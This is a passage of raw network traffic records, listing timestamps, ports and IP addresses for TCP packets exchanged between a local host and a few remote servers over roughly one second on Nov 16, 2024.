Nov 16, 2024 23:36:33.868113041 CET	443	49850	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:33.868177891 CET	49850	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:33.868503094 CET	49850	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:33.868558884 CET	443	49850	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:33.868628025 CET	49850	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:33.895328999 CET	443	49849	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:33.911345005 CET	443	49850	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:33.948951006 CET	49850	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:33.948961020 CET	443	49850	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:33.954924107 CET	443	49846	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:33.955929995 CET	49846	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:33.955965042 CET	443	49846	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:33.956404924 CET	49846	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:33.956417084 CET	443	49846	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:33.968868017 CET	443	49843	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:33.968892097 CET	443	49843	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:33.968899012 CET	443	49843	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:33.968930960 CET	443	49843	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:33.968945026 CET	443	49843	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:33.968955040 CET	443	49843	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:33.968976974 CET	49843	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:33.969012022 CET	443	49843	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:33.969043016 CET	49843	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:33.969072104 CET	49843	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:33.975477934 CET	443	49847	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:33.975501060 CET	443	49843	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:33.975508928 CET	443	49843	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:33.975548029 CET	443	49843	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:33.975563049 CET	443	49843	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:33.975574970 CET	49843	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:33.975584984 CET	443	49848	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:33.975593090 CET	443	49843	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:33.975646019 CET	49843	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:33.975646973 CET	49843	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:33.979556084 CET	49847	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:33.979572058 CET	443	49847	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:33.980139017 CET	49847	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:33.980144024 CET	443	49847	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:33.983328104 CET	49848	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:33.983346939 CET	443	49848	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:33.983656883 CET	49848	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:33.983660936 CET	443	49848	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:33.986557007 CET	443	49853	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:33.986812115 CET	49853	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:33.986819983 CET	443	49853	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:33.990377903 CET	443	49853	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:33.990469933 CET	49853	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:33.990797997 CET	49853	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:33.990880966 CET	443	49853	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:33.991456032 CET	49853	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:33.991465092 CET	443	49853	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:34.000215054 CET	443	49849	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:34.000374079 CET	49849	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:34.000647068 CET	49849	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:34.000660896 CET	443	49849	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:34.014950037 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:34.015024900 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:34.023720026 CET	443	49850	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:34.024171114 CET	49850	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:34.024436951 CET	49850	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:34.024466991 CET	443	49850	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:34.025089979 CET	49855	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:34.025122881 CET	443	49855	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:34.025240898 CET	49855	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:34.025377989 CET	49856	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:34.025386095 CET	443	49856	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:34.025556087 CET	49855	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:34.025569916 CET	443	49855	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:34.025599003 CET	49856	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:34.025808096 CET	49856	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:34.025823116 CET	443	49856	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:34.035665035 CET	49858	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:34.035669088 CET	49857	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:34.035686016 CET	443	49858	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:34.035689116 CET	443	49857	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:34.035742998 CET	49858	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:34.035985947 CET	49857	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:34.036113977 CET	49858	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:34.036127090 CET	443	49858	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:34.036317110 CET	49857	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:34.036325932 CET	443	49857	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:34.089940071 CET	443	49843	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.089951992 CET	443	49843	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.089979887 CET	443	49843	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.090003014 CET	443	49843	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.090003014 CET	49843	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.090029001 CET	443	49843	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.090060949 CET	49843	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.090089083 CET	49843	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.093066931 CET	443	49843	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.093085051 CET	443	49843	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.093131065 CET	49843	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.093146086 CET	443	49843	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.093175888 CET	49843	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.093199968 CET	49843	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.094403028 CET	443	49851	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.095014095 CET	49851	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.095036983 CET	443	49851	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.095714092 CET	49851	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.095720053 CET	443	49851	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.096961975 CET	443	49843	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.096978903 CET	443	49843	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.097023964 CET	49843	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.097038984 CET	443	49843	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.097068071 CET	49843	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.097124100 CET	49843	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.099613905 CET	443	49852	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.100558996 CET	49852	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.100574017 CET	443	49852	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.100656033 CET	49852	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.100660086 CET	443	49852	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.109081984 CET	443	49846	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.109138966 CET	443	49846	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.109219074 CET	49846	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.109508038 CET	49846	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.109508038 CET	49846	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.109550953 CET	443	49846	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.109594107 CET	443	49846	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.112245083 CET	49859	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.112270117 CET	443	49859	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.112617016 CET	49859	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.112787008 CET	49859	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.112801075 CET	443	49859	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.136478901 CET	49853	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:34.138765097 CET	443	49848	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.138860941 CET	443	49848	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.139017105 CET	443	49847	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.139024019 CET	49848	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.139072895 CET	49848	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.139094114 CET	443	49848	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.139105082 CET	49848	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.139108896 CET	443	49847	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.139110088 CET	443	49848	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.139164925 CET	49847	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.139738083 CET	443	49853	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:34.139899969 CET	443	49853	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:34.140531063 CET	49847	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.140541077 CET	443	49847	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.140556097 CET	49853	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:34.140660048 CET	49853	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:34.140665054 CET	443	49853	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:34.142726898 CET	49860	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.142748117 CET	443	49860	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.142834902 CET	49860	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.143038034 CET	49860	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.143050909 CET	443	49860	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.143320084 CET	49861	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.143340111 CET	443	49861	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.143605947 CET	49861	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.143724918 CET	49861	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.143735886 CET	443	49861	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.146670103 CET	443	49854	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.146986008 CET	49854	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.146992922 CET	443	49854	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.148030996 CET	443	49854	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.148082972 CET	49854	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.148436069 CET	49854	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.148497105 CET	443	49854	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.148565054 CET	49854	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.148575068 CET	443	49854	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.179562092 CET	443	49843	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.179585934 CET	443	49843	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.179663897 CET	49843	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.179687023 CET	443	49843	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.179719925 CET	49843	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.179791927 CET	49843	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.203058958 CET	49854	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.208801031 CET	443	49843	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.208825111 CET	443	49843	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.208875895 CET	49843	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.208892107 CET	443	49843	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.208920002 CET	49843	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.208940983 CET	49843	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.210216045 CET	443	49843	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.210232973 CET	443	49843	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.210319042 CET	49843	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.210334063 CET	443	49843	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.210382938 CET	49843	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.211998940 CET	443	49843	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.212016106 CET	443	49843	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.212064028 CET	49843	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.212079048 CET	443	49843	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.212107897 CET	49843	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.212129116 CET	49843	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.213742971 CET	443	49843	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.213758945 CET	443	49843	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.213823080 CET	49843	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.213836908 CET	443	49843	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.213887930 CET	49843	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.214878082 CET	443	49843	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.214895010 CET	443	49843	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.214965105 CET	49843	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.214978933 CET	443	49843	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.215034962 CET	49843	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.241624117 CET	443	49851	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.241700888 CET	443	49851	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.241754055 CET	49851	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.257428885 CET	49851	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.257428885 CET	49851	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.257441044 CET	443	49851	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.257447958 CET	443	49851	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.258342981 CET	443	49843	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.258363962 CET	443	49843	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.258421898 CET	49843	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.258444071 CET	443	49843	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.258497000 CET	49843	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.258497000 CET	49843	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.259912968 CET	443	49852	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.260152102 CET	443	49852	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.260225058 CET	49852	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.304723024 CET	49852	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.304743052 CET	443	49852	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.304754019 CET	49852	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.304759979 CET	443	49852	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.308984041 CET	49862	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.309006929 CET	443	49862	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.309227943 CET	49862	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.310353041 CET	49863	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.310385942 CET	443	49863	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.310589075 CET	49863	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.320586920 CET	49862	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.320601940 CET	443	49862	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.320771933 CET	49863	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.320791006 CET	443	49863	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.329025984 CET	443	49843	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.329049110 CET	443	49843	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.329124928 CET	49843	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.329148054 CET	443	49843	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.329256058 CET	49843	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.331442118 CET	443	49843	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.331458092 CET	443	49843	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.331520081 CET	49843	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.331537008 CET	443	49843	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.331568003 CET	49843	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.331588984 CET	49843	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.333281040 CET	443	49843	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.333297014 CET	443	49843	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.333360910 CET	49843	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.333375931 CET	443	49843	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.333426952 CET	49843	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.341543913 CET	443	49843	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.341558933 CET	443	49843	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.341624022 CET	49843	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.341638088 CET	443	49843	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.341687918 CET	49843	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.343116045 CET	443	49843	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.343130112 CET	443	49843	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.343183994 CET	49843	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.343199015 CET	443	49843	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.343249083 CET	49843	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.344949961 CET	443	49843	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.344966888 CET	443	49843	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.345016003 CET	49843	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.345033884 CET	443	49843	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.345060110 CET	49843	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.345374107 CET	49843	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.345969915 CET	443	49843	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.346059084 CET	443	49843	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.346065044 CET	49843	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.346117973 CET	49843	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.348499060 CET	49843	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.351279974 CET	49843	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.351301908 CET	443	49843	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.397921085 CET	443	49854	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.397994041 CET	443	49854	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.398016930 CET	443	49854	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.398037910 CET	443	49854	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.398061037 CET	49854	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.398076057 CET	443	49854	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.398092985 CET	443	49854	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.398112059 CET	49854	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.398118019 CET	443	49854	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.398149014 CET	49854	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.398154020 CET	443	49854	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.398175001 CET	49854	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.417210102 CET	443	49854	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.417265892 CET	443	49854	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.417323112 CET	49854	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.417330027 CET	443	49854	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.417346954 CET	49854	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.483561993 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:34.497009993 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:34.515933990 CET	443	49854	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.515989065 CET	443	49854	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.516088009 CET	49854	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.516088009 CET	49854	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.516108990 CET	443	49854	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.533540964 CET	443	49854	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.533560038 CET	443	49854	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.533608913 CET	443	49854	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.533627987 CET	443	49854	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.533633947 CET	49854	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.533633947 CET	49854	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.533663034 CET	443	49854	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.533668995 CET	49854	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.533668995 CET	49854	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.535432100 CET	443	49854	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.535501003 CET	49854	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.535510063 CET	443	49854	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.535598040 CET	443	49854	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.535687923 CET	49854	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.535898924 CET	49854	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:34.535912991 CET	443	49854	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:34.661165953 CET	443	49857	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:34.661520004 CET	49857	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:34.661535978 CET	443	49857	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:34.663475037 CET	443	49855	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:34.663594961 CET	443	49856	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:34.663779020 CET	49855	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:34.663799047 CET	443	49855	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:34.663831949 CET	443	49857	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:34.663885117 CET	49857	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:34.663949013 CET	49856	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:34.663955927 CET	443	49856	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:34.664244890 CET	49857	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:34.664279938 CET	443	49855	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:34.664360046 CET	443	49857	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:34.664390087 CET	443	49856	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:34.664900064 CET	49856	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:34.664978027 CET	443	49856	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:34.665246010 CET	49855	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:34.665313959 CET	443	49855	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:34.665767908 CET	49857	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:34.665779114 CET	443	49857	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:34.665808916 CET	49856	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:34.666065931 CET	49855	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:34.671169043 CET	443	49858	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:34.678985119 CET	49858	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:34.678992033 CET	443	49858	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:34.680181980 CET	443	49858	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:34.680232048 CET	49858	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:34.680675030 CET	49858	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:34.680751085 CET	443	49858	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:34.680852890 CET	49858	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:34.680859089 CET	443	49858	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:34.707330942 CET	443	49856	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:34.707351923 CET	443	49855	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:34.723366976 CET	49857	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:34.738437891 CET	49857	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:34.738586903 CET	443	49857	162.159.61.3	192.168.2.5
